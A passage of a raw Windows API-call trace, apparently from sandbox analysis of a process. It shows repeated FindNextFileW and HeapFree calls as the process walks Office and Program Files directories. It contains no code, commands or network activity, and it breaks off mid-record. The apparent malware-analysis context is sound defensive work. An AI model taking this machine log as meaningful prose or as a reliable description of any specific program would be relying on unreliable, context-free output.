[0248.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0248.325] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1db9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OriginLetter.Dotx", cAlternateFileName="ORIGIN~3.DOT")) returned 1 [0248.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0248.327] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0248.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0248.328] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0248.328] FindClose (in: hFindFile=0x6d0348 | out: hFindFile=0x6d0348) returned 1 [0248.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0248.328] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 1 [0248.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.368] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0248.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0248.369] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0248.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0248.369] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 0 [0248.369] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0248.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0248.369] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 1 [0248.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0248.376] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 0 [0248.376] FindClose (in: hFindFile=0x6cfd08 | out: hFindFile=0x6cfd08) returned 1 [0248.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0248.376] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Common Programs", cAlternateFileName="COMMON~1")) returned 1 [0248.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0248.383] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneDrive for Business.lnk", cAlternateFileName="ONEDRI~1.LNK")) returned 1 [0248.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0248.383] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0248.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0248.405] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="private", cAlternateFileName="")) returned 0 [0248.405] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0248.405] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0248.405] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX64", cAlternateFileName="PROGRA~3")) returned 1 [0248.408] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0248.408] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0248.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.544] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f7aa31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f7aa31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1702b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0248.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0248.561] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0248.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0248.564] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf086f11e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf086f11e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf086f11e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0248.569] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0248.569] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0248.569] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0248.569] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14c6cb9, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x14c6cb9, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0248.569] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0248.569] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0248.571] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0248.571] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12910b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26737b32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26737b32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0248.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0248.574] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0248.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0248.574] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bb01a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bb01a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0248.576] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0248.576] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xceb38292, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xceb38292, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe172e9be, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22cad0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0248.578] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0248.578] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DataModel", cAlternateFileName="DATAMO~1")) returned 1 [0248.649] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0248.649] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17e0c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MI1312~1.DLL")) returned 1 [0248.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0248.651] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0248.651] FindClose (in: hFindFile=0x6cfa48 | out: hFindFile=0x6cfa48) returned 1 [0248.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0248.651] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x447d6b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x447d6b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44a38de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c190, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0248.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0248.652] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2803429, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0248.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0248.652] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26a58c7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x77e88, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0248.656] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0248.656] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8f6526, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 0 [0248.657] FindClose (in: hFindFile=0x6cfa48 | out: hFindFile=0x6cfa48) returned 1 [0248.657] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0248.657] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0fbc434, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0fbc434, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf10a1263, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c40, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0248.658] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0248.660] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0248.662] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0248.662] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0248.665] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0248.665] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc62081b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc62081b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc62081b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1bac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0248.673] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0248.674] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0248.674] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0248.674] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cec0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, 